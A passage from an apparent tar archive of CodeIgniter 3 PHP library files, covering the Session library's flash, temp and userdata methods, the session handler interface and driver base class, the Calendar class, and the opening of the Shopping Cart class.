if ( ! isset($_SESSION[$key[$i]])) { return FALSE; } } $new = array_fill_keys($key, 'new'); $_SESSION['__ci_vars'] = isset($_SESSION['__ci_vars']) ? array_merge($_SESSION['__ci_vars'], $new) : $new; return TRUE; } if ( ! isset($_SESSION[$key])) { return FALSE; } $_SESSION['__ci_vars'][$key] = 'new'; return TRUE; } // ------------------------------------------------------------------------ /** * Get flash keys * * @return array */ public function get_flash_keys() { if ( ! isset($_SESSION['__ci_vars'])) { return array(); } $keys = array(); foreach (array_keys($_SESSION['__ci_vars']) as $key) { is_int($_SESSION['__ci_vars'][$key]) OR $keys[] = $key; } return $keys; } // ------------------------------------------------------------------------ /** * Unmark flash * * @param mixed $key Session data key(s) * @return void */ public function unmark_flash($key) { if (empty($_SESSION['__ci_vars'])) { return; } is_array($key) OR $key = array($key); foreach ($key as $k) { if (isset($_SESSION['__ci_vars'][$k]) && ! is_int($_SESSION['__ci_vars'][$k])) { unset($_SESSION['__ci_vars'][$k]); } } if (empty($_SESSION['__ci_vars'])) { unset($_SESSION['__ci_vars']); } } // ------------------------------------------------------------------------ /** * Mark as temp * * @param mixed $key Session data key(s) * @param int $ttl Time-to-live in seconds * @return bool */ public function mark_as_temp($key, $ttl = 300) { $ttl += time(); if (is_array($key)) { $temp = array(); foreach ($key as $k => $v) { // Do we have a key => ttl pair, or just a key? if (is_int($k)) { $k = $v; $v = $ttl; } else { $v += time(); } if ( ! isset($_SESSION[$k])) { return FALSE; } $temp[$k] = $v; } $_SESSION['__ci_vars'] = isset($_SESSION['__ci_vars']) ? array_merge($_SESSION['__ci_vars'], $temp) : $temp; return TRUE; } if ( ! isset($_SESSION[$key])) { return FALSE; } $_SESSION['__ci_vars'][$key] = $ttl; return TRUE; } // ------------------------------------------------------------------------ /** * Get temp keys * * @return array */ public function get_temp_keys() { if ( ! isset($_SESSION['__ci_vars'])) { return array(); } $keys = array(); foreach (array_keys($_SESSION['__ci_vars']) as $key) { is_int($_SESSION['__ci_vars'][$key]) && $keys[] = $key; } return $keys; } // ------------------------------------------------------------------------ /** * Unmark flash * * @param mixed $key Session data key(s) * @return void */ public function unmark_temp($key) { if (empty($_SESSION['__ci_vars'])) { return; } is_array($key) OR $key = array($key); foreach ($key as $k) { if (isset($_SESSION['__ci_vars'][$k]) && is_int($_SESSION['__ci_vars'][$k])) { unset($_SESSION['__ci_vars'][$k]); } } if (empty($_SESSION['__ci_vars'])) { unset($_SESSION['__ci_vars']); } } // ------------------------------------------------------------------------ /** * __get() * * @param string $key 'session_id' or a session data key * @return mixed */ public function __get($key) { // Note: Keep this order the same, just in case somebody wants to // use 'session_id' as a session data key, for whatever reason if (isset($_SESSION[$key])) { return $_SESSION[$key]; } elseif ($key === 'session_id') { return session_id(); } return NULL; } // ------------------------------------------------------------------------ /** * __isset() * * @param string $key 'session_id' or a session data key * @return bool */ public function __isset($key) { if ($key === 'session_id') { return (session_status() === PHP_SESSION_ACTIVE); } return isset($_SESSION[$key]); } // ------------------------------------------------------------------------ /** * __set() * * @param string $key Session data key * @param mixed $value Session data value * @return void */ public function __set($key, $value) { $_SESSION[$key] = $value; } // ------------------------------------------------------------------------ /** * Session destroy * * Legacy CI_Session compatibility method * * @return void */ public function sess_destroy() { session_destroy(); } // ------------------------------------------------------------------------ /** * Session regenerate * * Legacy CI_Session compatibility method * * @param bool $destroy Destroy old session data flag * @return void */ public function sess_regenerate($destroy = FALSE) { $_SESSION['__ci_last_regenerate'] = time(); session_regenerate_id($destroy); } // ------------------------------------------------------------------------ /** * Get userdata reference * * Legacy CI_Session compatibility method * * @returns array */ public function &get_userdata() { return $_SESSION; } // ------------------------------------------------------------------------ /** * Userdata (fetch) * * Legacy CI_Session compatibility method * * @param string $key Session data key * @return mixed Session data value or NULL if not found */ public function userdata($key = NULL) { if (isset($key)) { return isset($_SESSION[$key]) ? $_SESSION[$key] : NULL; } elseif (empty($_SESSION)) { return array(); } $userdata = array(); $_exclude = array_merge( array('__ci_vars'), $this->get_flash_keys(), $this->get_temp_keys() ); foreach (array_keys($_SESSION) as $key) { if ( ! in_array($key, $_exclude, TRUE)) { $userdata[$key] = $_SESSION[$key]; } } return $userdata; } // ------------------------------------------------------------------------ /** * Set userdata * * Legacy CI_Session compatibility method * * @param mixed $data Session data key or an associative array * @param mixed $value Value to store * @return void */ public function set_userdata($data, $value = NULL) { if (is_array($data)) { foreach ($data as $key => &$value) { $_SESSION[$key] = $value; } return; } $_SESSION[$data] = $value; } // ------------------------------------------------------------------------ /** * Unset userdata * * Legacy CI_Session compatibility method * * @param mixed $key Session data key(s) * @return void */ public function unset_userdata($key) { if (is_array($key)) { foreach ($key as $k) { unset($_SESSION[$k]); } return; } unset($_SESSION[$key]); } // ------------------------------------------------------------------------ /** * All userdata (fetch) * * Legacy CI_Session compatibility method * * @return array $_SESSION, excluding flash data items */ public function all_userdata() { return $this->userdata(); } // ------------------------------------------------------------------------ /** * Has userdata * * Legacy CI_Session compatibility method * * @param string $key Session data key * @return bool */ public function has_userdata($key) { return isset($_SESSION[$key]); } // ------------------------------------------------------------------------ /** * Flashdata (fetch) * * Legacy CI_Session compatibility method * * @param string $key Session data key * @return mixed Session data value or NULL if not found */ public function flashdata($key = NULL) { if (isset($key)) { return (isset($_SESSION['__ci_vars'], $_SESSION['__ci_vars'][$key], $_SESSION[$key]) && ! is_int($_SESSION['__ci_vars'][$key])) ? $_SESSION[$key] : NULL; } $flashdata = array(); if ( ! empty($_SESSION['__ci_vars'])) { foreach ($_SESSION['__ci_vars'] as $key => &$value) { is_int($value) OR $flashdata[$key] = $_SESSION[$key]; } } return $flashdata; } // ------------------------------------------------------------------------ /** * Set flashdata * * Legacy CI_Session compatibility method * * @param mixed $data Session data key or an associative array * @param mixed $value Value to store * @return void */ public function set_flashdata($data, $value = NULL) { $this->set_userdata($data, $value); $this->mark_as_flash(is_array($data) ? array_keys($data) : $data); } // ------------------------------------------------------------------------ /** * Keep flashdata * * Legacy CI_Session compatibility method * * @param mixed $key Session data key(s) * @return void */ public function keep_flashdata($key) { $this->mark_as_flash($key); } // ------------------------------------------------------------------------ /** * Temp data (fetch) * * Legacy CI_Session compatibility method * * @param string $key Session data key * @return mixed Session data value or NULL if not found */ public function tempdata($key = NULL) { if (isset($key)) { return (isset($_SESSION['__ci_vars'], $_SESSION['__ci_vars'][$key], $_SESSION[$key]) && is_int($_SESSION['__ci_vars'][$key])) ? $_SESSION[$key] : NULL; } $tempdata = array(); if ( ! empty($_SESSION['__ci_vars'])) { foreach ($_SESSION['__ci_vars'] as $key => &$value) { is_int($value) && $tempdata[$key] = $_SESSION[$key]; } } return $tempdata; } // ------------------------------------------------------------------------ /** * Set tempdata * * Legacy CI_Session compatibility method * * @param mixed $data Session data key or an associative array of items * @param mixed $value Value to store * @param int $ttl Time-to-live in seconds * @return void */ public function set_tempdata($data, $value = NULL, $ttl = 300) { $this->set_userdata($data, $value); $this->mark_as_temp(is_array($data) ? array_keys($data) : $data, $ttl); } // ------------------------------------------------------------------------ /** * Unset tempdata * * Legacy CI_Session compatibility method * * @param mixed $data Session data key(s) * @return void */ public function unset_tempdata($key) { $this->unmark_temp($key); } } Session/SessionHandlerInterface.php 0000775 00000004302 15060054572 0013452 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SessionHandlerInterface * * PHP 5.4 compatibility interface * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ interface SessionHandlerInterface { public function open($save_path, $name); public function close(); public function read($session_id); public function write($session_id, $session_data); public function destroy($session_id); public function gc($maxlifetime); } Session/Session_driver.php 0000775 00000011456 15060054572 0011716 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Driver Class * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ abstract class CI_Session_driver implements SessionHandlerInterface { protected $_config; /** * Data fingerprint * * @var bool */ protected $_fingerprint; /** * Lock placeholder * * @var mixed */ protected $_lock = FALSE; /** * Read session ID * * Used to detect session_regenerate_id() calls because PHP only calls * write() after regenerating the ID. * * @var string */ protected $_session_id; /** * Success and failure return values * * Necessary due to a bug in all PHP 5 versions where return values * from userspace handlers are not handled properly. PHP 7 fixes the * bug, so we need to return different values depending on the version. * * @see https://wiki.php.net/rfc/session.user.return-value * @var mixed */ protected $_success, $_failure; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { $this->_config =& $params; if (is_php('7')) { $this->_success = TRUE; $this->_failure = FALSE; } else { $this->_success = 0; $this->_failure = -1; } } // ------------------------------------------------------------------------ /** * Cookie destroy * * Internal method to force removal of a cookie by the client * when session_destroy() is called. * * @return bool */ protected function _cookie_destroy() { return setcookie( $this->_config['cookie_name'], NULL, 1, $this->_config['cookie_path'], $this->_config['cookie_domain'], $this->_config['cookie_secure'], TRUE ); } // ------------------------------------------------------------------------ /** * Get lock * * A dummy method allowing drivers with no locking functionality * (databases other than PostgreSQL and MySQL) to act as if they * do acquire a lock. * * @param string $session_id * @return bool */ protected function _get_lock($session_id) { $this->_lock = TRUE; return TRUE; } // ------------------------------------------------------------------------ /** * Release lock * * @return bool */ protected function _release_lock() { if ($this->_lock) { $this->_lock = FALSE; } return TRUE; } // ------------------------------------------------------------------------ /** * Fail * * Drivers other than the 'files' one don't (need to) use the * session.save_path INI setting, but that leads to confusing * error messages emitted by PHP when open() or write() fail, * as the message contains session.save_path ... * To work around the problem, the drivers will call this method * so that the INI is set just in time for the error message to * be properly generated. * * @return mixed */ protected function _fail() { ini_set('session.save_path', config_item('sess_save_path')); return $this->_failure; } } Session/index.html 0000775 00000000203 15060054572 0010170 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Calendar.php 0000775 00000036160 15060054572 0007005 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Calendar Class * * This class enables the creation of calendars * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/calendar.html */ class CI_Calendar { /** * Calendar layout template * * @var mixed */ public $template = ''; /** * Replacements array for template * * @var array */ public $replacements = array(); /** * Day of the week to start the calendar on * * @var string */ public $start_day = 'sunday'; /** * How to display months * * @var string */ public $month_type = 'long'; /** * How to display names of days * * @var string */ public $day_type = 'abr'; /** * Whether to show next/prev month links * * @var bool */ public $show_next_prev = FALSE; /** * Url base to use for next/prev month links * * @var bool */ public $next_prev_url = ''; /** * Show days of other months * * @var bool */ public $show_other_days = FALSE; // -------------------------------------------------------------------- /** * CI Singleton * * @var object */ protected $CI; // -------------------------------------------------------------------- /** * Class constructor * * Loads the calendar language file and sets the default time reference. * * @uses CI_Lang::$is_loaded * * @param array $config Calendar options * @return void */ public function __construct($config = array()) { $this->CI =& get_instance(); $this->CI->lang->load('calendar'); empty($config) OR $this->initialize($config); log_message('info', 'Calendar Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize the user preferences * * Accepts an associative array as input, containing display preferences * * @param array config preferences * @return CI_Calendar */ public function initialize($config = array()) { foreach ($config as $key => $val) { if (isset($this->$key)) { $this->$key = $val; } } // Set the next_prev_url to the controller if required but not defined if ($this->show_next_prev === TRUE && empty($this->next_prev_url)) { $this->next_prev_url = $this->CI->config->site_url($this->CI->router->class.'/'.$this->CI->router->method); } return $this; } // -------------------------------------------------------------------- /** * Generate the calendar * * @param int the year * @param int the month * @param array the data to be shown in the calendar cells * @return string */ public function generate($year = '', $month = '', $data = array()) { $local_time = time(); // Set and validate the supplied month/year if (empty($year)) { $year = date('Y', $local_time); } elseif (strlen($year) === 1) { $year = '200'.$year; } elseif (strlen($year) === 2) { $year = '20'.$year; } if (empty($month)) { $month = date('m', $local_time); } elseif (strlen($month) === 1) { $month = '0'.$month; } $adjusted_date = $this->adjust_date($month, $year); $month = $adjusted_date['month']; $year = $adjusted_date['year']; // Determine the total days in the month $total_days = $this->get_total_days($month, $year); // Set the starting day of the week $start_days = array('sunday' => 0, 'monday' => 1, 'tuesday' => 2, 'wednesday' => 3, 'thursday' => 4, 'friday' => 5, 'saturday' => 6); $start_day = isset($start_days[$this->start_day]) ? $start_days[$this->start_day] : 0; // Set the starting day number $local_date = mktime(12, 0, 0, $month, 1, $year); $date = getdate($local_date); $day = $start_day + 1 - $date['wday']; while ($day > 1) { $day -= 7; } // Set the current month/year/day // We use this to determine the "today" date $cur_year = date('Y', $local_time); $cur_month = date('m', $local_time); $cur_day = date('j', $local_time); $is_current_month = ($cur_year == $year && $cur_month == $month); // Generate the template data array $this->parse_template(); // Begin building the calendar output $out = $this->replacements['table_open']."\n\n".$this->replacements['heading_row_start']."\n"; // "previous" month link if ($this->show_next_prev === TRUE) { // Add a trailing slash to the URL if needed $this->next_prev_url = preg_replace('/(.+?)\/*$/', '\\1/', $this->next_prev_url); $adjusted_date = $this->adjust_date($month - 1, $year); $out .= str_replace('{previous_url}', $this->next_prev_url.$adjusted_date['year'].'/'.$adjusted_date['month'], $this->replacements['heading_previous_cell'])."\n"; } // Heading containing the month/year $colspan = ($this->show_next_prev === TRUE) ? 5 : 7; $this->replacements['heading_title_cell'] = str_replace('{colspan}', $colspan, str_replace('{heading}', $this->get_month_name($month).' '.$year, $this->replacements['heading_title_cell'])); $out .= $this->replacements['heading_title_cell']."\n"; // "next" month link if ($this->show_next_prev === TRUE) { $adjusted_date = $this->adjust_date($month + 1, $year); $out .= str_replace('{next_url}', $this->next_prev_url.$adjusted_date['year'].'/'.$adjusted_date['month'], $this->replacements['heading_next_cell']); } $out .= "\n".$this->replacements['heading_row_end']."\n\n" // Write the cells containing the days of the week .$this->replacements['week_row_start']."\n"; $day_names = $this->get_day_names(); for ($i = 0; $i < 7; $i ++) { $out .= str_replace('{week_day}', $day_names[($start_day + $i) %7], $this->replacements['week_day_cell']); } $out .= "\n".$this->replacements['week_row_end']."\n"; // Build the main body of the calendar while ($day <= $total_days) { $out .= "\n".$this->replacements['cal_row_start']."\n"; for ($i = 0; $i < 7; $i++) { if ($day > 0 && $day <= $total_days) { $out .= ($is_current_month === TRUE && $day == $cur_day) ? $this->replacements['cal_cell_start_today'] : $this->replacements['cal_cell_start']; if (isset($data[$day])) { // Cells with content $temp = ($is_current_month === TRUE && $day == $cur_day) ? $this->replacements['cal_cell_content_today'] : $this->replacements['cal_cell_content']; $out .= str_replace(array('{content}', '{day}'), array($data[$day], $day), $temp); } else { // Cells with no content $temp = ($is_current_month === TRUE && $day == $cur_day) ? $this->replacements['cal_cell_no_content_today'] : $this->replacements['cal_cell_no_content']; $out .= str_replace('{day}', $day, $temp); } $out .= ($is_current_month === TRUE && $day == $cur_day) ? $this->replacements['cal_cell_end_today'] : $this->replacements['cal_cell_end']; } elseif ($this->show_other_days === TRUE) { $out .= $this->replacements['cal_cell_start_other']; if ($day <= 0) { // Day of previous month $prev_month = $this->adjust_date($month - 1, $year); $prev_month_days = $this->get_total_days($prev_month['month'], $prev_month['year']); $out .= str_replace('{day}', $prev_month_days + $day, $this->replacements['cal_cell_other']); } else { // Day of next month $out .= str_replace('{day}', $day - $total_days, $this->replacements['cal_cell_other']); } $out .= $this->replacements['cal_cell_end_other']; } else { // Blank cells $out .= $this->replacements['cal_cell_start'].$this->replacements['cal_cell_blank'].$this->replacements['cal_cell_end']; } $day++; } $out .= "\n".$this->replacements['cal_row_end']."\n"; } return $out .= "\n".$this->replacements['table_close']; } // -------------------------------------------------------------------- /** * Get Month Name * * Generates a textual month name based on the numeric * month provided. * * @param int the month * @return string */ public function get_month_name($month) { if ($this->month_type === 'short') { $month_names = array('01' => 'cal_jan', '02' => 'cal_feb', '03' => 'cal_mar', '04' => 'cal_apr', '05' => 'cal_may', '06' => 'cal_jun', '07' => 'cal_jul', '08' => 'cal_aug', '09' => 'cal_sep', '10' => 'cal_oct', '11' => 'cal_nov', '12' => 'cal_dec'); } else { $month_names = array('01' => 'cal_january', '02' => 'cal_february', '03' => 'cal_march', '04' => 'cal_april', '05' => 'cal_mayl', '06' => 'cal_june', '07' => 'cal_july', '08' => 'cal_august', '09' => 'cal_september', '10' => 'cal_october', '11' => 'cal_november', '12' => 'cal_december'); } return ($this->CI->lang->line($month_names[$month]) === FALSE) ? ucfirst(substr($month_names[$month], 4)) : $this->CI->lang->line($month_names[$month]); } // -------------------------------------------------------------------- /** * Get Day Names * * Returns an array of day names (Sunday, Monday, etc.) based * on the type. Options: long, short, abr * * @param string * @return array */ public function get_day_names($day_type = '') { if ($day_type !== '') { $this->day_type = $day_type; } if ($this->day_type === 'long') { $day_names = array('sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday'); } elseif ($this->day_type === 'short') { $day_names = array('sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat'); } else { $day_names = array('su', 'mo', 'tu', 'we', 'th', 'fr', 'sa'); } $days = array(); for ($i = 0, $c = count($day_names); $i < $c; $i++) { $days[] = ($this->CI->lang->line('cal_'.$day_names[$i]) === FALSE) ? ucfirst($day_names[$i]) : $this->CI->lang->line('cal_'.$day_names[$i]); } return $days; } // -------------------------------------------------------------------- /** * Adjust Date * * This function makes sure that we have a valid month/year. * For example, if you submit 13 as the month, the year will * increment and the month will become January. * * @param int the month * @param int the year * @return array */ public function adjust_date($month, $year) { $date = array(); $date['month'] = $month; $date['year'] = $year; while ($date['month'] > 12) { $date['month'] -= 12; $date['year']++; } while ($date['month'] <= 0) { $date['month'] += 12; $date['year']--; } if (strlen($date['month']) === 1) { $date['month'] = '0'.$date['month']; } return $date; } // -------------------------------------------------------------------- /** * Total days in a given month * * @param int the month * @param int the year * @return int */ public function get_total_days($month, $year) { $this->CI->load->helper('date'); return days_in_month($month, $year); } // -------------------------------------------------------------------- /** * Set Default Template Data * * This is used in the event that the user has not created their own template * * @return array */ public function default_template() { return array( 'table_open' => '<table border="0" cellpadding="4" cellspacing="0">', 'heading_row_start' => '<tr>', 'heading_previous_cell' => '<th><a href="{previous_url}"><<</a></th>', 'heading_title_cell' => '<th colspan="{colspan}">{heading}</th>', 'heading_next_cell' => '<th><a href="{next_url}">>></a></th>', 'heading_row_end' => '</tr>', 'week_row_start' => '<tr>', 'week_day_cell' => '<td>{week_day}</td>', 'week_row_end' => '</tr>', 'cal_row_start' => '<tr>', 'cal_cell_start' => '<td>', 'cal_cell_start_today' => '<td>', 'cal_cell_start_other' => '<td style="color: #666;">', 'cal_cell_content' => '<a href="{content}">{day}</a>', 'cal_cell_content_today' => '<a href="{content}"><strong>{day}</strong></a>', 'cal_cell_no_content' => '{day}', 'cal_cell_no_content_today' => '<strong>{day}</strong>', 'cal_cell_blank' => ' ', 'cal_cell_other' => '{day}', 'cal_cell_end' => '</td>', 'cal_cell_end_today' => '</td>', 'cal_cell_end_other' => '</td>', 'cal_row_end' => '</tr>', 'table_close' => '</table>' ); } // -------------------------------------------------------------------- /** * Parse Template * * Harvests the data within the template {pseudo-variables} * used to display the calendar * * @return CI_Calendar */ public function parse_template() { $this->replacements = $this->default_template(); if (empty($this->template)) { return $this; } if (is_string($this->template)) { $today = array('cal_cell_start_today', 'cal_cell_content_today', 'cal_cell_no_content_today', 'cal_cell_end_today'); foreach (array('table_open', 'table_close', 'heading_row_start', 'heading_previous_cell', 'heading_title_cell', 'heading_next_cell', 'heading_row_end', 'week_row_start', 'week_day_cell', 'week_row_end', 'cal_row_start', 'cal_cell_start', 'cal_cell_content', 'cal_cell_no_content', 'cal_cell_blank', 'cal_cell_end', 'cal_row_end', 'cal_cell_start_today', 'cal_cell_content_today', 'cal_cell_no_content_today', 'cal_cell_end_today', 'cal_cell_start_other', 'cal_cell_other', 'cal_cell_end_other') as $val) { if (preg_match('/\{'.$val.'\}(.*?)\{\/'.$val.'\}/si', $this->template, $match)) { $this->replacements[$val] = $match[1]; } elseif (in_array($val, $today, TRUE)) { $this->replacements[$val] = $this->replacements[substr($val, 0, -6)]; } } } elseif (is_array($this->template)) { $this->replacements = array_merge($this->replacements, $this->template); } return $this; } } Cart.php 0000775 00000037763 15060054572 0006177 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Shopping Cart Class * * @package CodeIgniter * @subpackage Libraries * @category Shopping Cart * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/cart.html * @deprecated 3.0.0 This class is too specific for CI. */ class CI_Cart { /** * These are the regular expression rules that we use to validate the product ID and product name * alpha-numeric, dashes, underscores, or periods * * @var string */ public $product_id_rules = '\.a-z0-9_-'; /** * These are the regular expression rules that we use to validate the product ID and product name * alpha-numeric, dashes, underscores, colons or periods * * @var string */ public $product_name_rules = '\w \-\.\:'; /** * only allow safe product names * * @var bool */ public $product_name_safe = TRUE; // -------------------------------------------------------------------------- /** * Reference to CodeIgniter instance * * @var object */ protected $CI; /** * Contents of the cart * * @var array */ protected $_cart_contents = array(); /** * Shopping Class Constructor * * The constructor loads the Session class, used to store the shopping cart contents. * * @param array * @return void */ public function __construct($params = array()) { // Set the super object to a local variable for use later $this->CI =& get_instance(); // Are any config settings being passed manually? If so, set them $config = is_array($params) ? $params : array(); // Load the Sessions class $this->CI->load->driver('session', $config); // Grab the shopping cart array from the session table $this->_cart_contents = $this->CI->session->userdata('cart_contents'); if ($this->_cart_contents === NULL) { // No cart exists so we'll set some base values $this->_cart_contents = array('cart_total' => 0, 'total_items' => 0); } log_message('info', 'Cart Class Initialized'); } // -------------------------------------------------------------------- /** * Insert items into the cart and save it to the session table * * @param array * @return bool */ public function insert($items = array()) { // Was any cart data passed? No? Bah... if ( ! is_array($items) OR count($items) === 0) { log_message('error', 'The insert method must be passed an array containing data.'); return FALSE; } // You can either insert a single product using a one-dimensional array, // or multiple products using a multi-dimensional one. The way we // determine the array type is by looking for a required array key named "id" // at the top level. If it's not found, we will assume it's a multi-dimensional array. $save_cart = FALSE; if (isset($items['id'])) { if (($rowid = $this->_insert($items))) { $save_cart = TRUE; } } else { foreach ($items as $val) { if (is_array($val) && isset($val['id'])) { if ($this->_insert($val)) { $save_cart = TRUE; } } } } // Save the cart data if the insert was successful if ($save_cart === TRUE) { $this->_save_cart(); return isset($rowid) ? $rowid : TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Insert * * @param array * @return bool */ protected function _insert($items = array()) { // Was any cart data passed? No? Bah... if ( ! is_array($items) OR count($items) === 0) { log_message('error', 'The insert method must be passed an array containing data.'); return FALSE; } // -------------------------------------------------------------------- // Does the $items array contain an id, quantity, price, and name? These are required if ( ! isset($items['id'], $items['qty'], $items['price'], $items['name'])) { log_message('error', 'The cart array must contain a product ID, quantity, price, and name.'); return FALSE; } // -------------------------------------------------------------------- // Prep the quantity. It can only be a number. Duh... also trim any leading zeros $items['qty'] = (float) $items['qty']; // If the quantity is zero or blank there's nothing for us to do if ($items['qty'] == 0) { return FALSE; } // -------------------------------------------------------------------- // Validate the product ID. It can only be alpha-numeric, dashes, underscores or periods // Not totally sure we should impose this rule, but it seems prudent to standardize IDs. // Note: These can be user-specified by setting the $this->product_id_rules variable. if ( ! preg_match('/^['.$this->product_id_rules.']+$/i', $items['id'])) { log_message('error', 'Invalid product ID. The product ID can only contain alpha-numeric characters, dashes, and underscores'); return FALSE; } // -------------------------------------------------------------------- // Validate the product name. It can only be alpha-numeric, dashes, underscores, colons or periods. // Note: These can be user-specified by setting the $this->product_name_rules variable. if ($this->product_name_safe && ! preg_match('/^['.$this->product_name_rules.']+$/i'.(UTF8_ENABLED ? 'u' : ''), $items['name'])) { log_message('error', 'An invalid name was submitted as the product name: '.$items['name'].' The name can only contain alpha-numeric characters, dashes, underscores, colons, and spaces'); return FALSE; } // -------------------------------------------------------------------- // Prep the price. Remove leading zeros and anything that isn't a number or decimal point. $items['price'] = (float) $items['price']; // We now need to create a unique identifier for the item being inserted into the cart. // Every time something is added to the cart it is stored 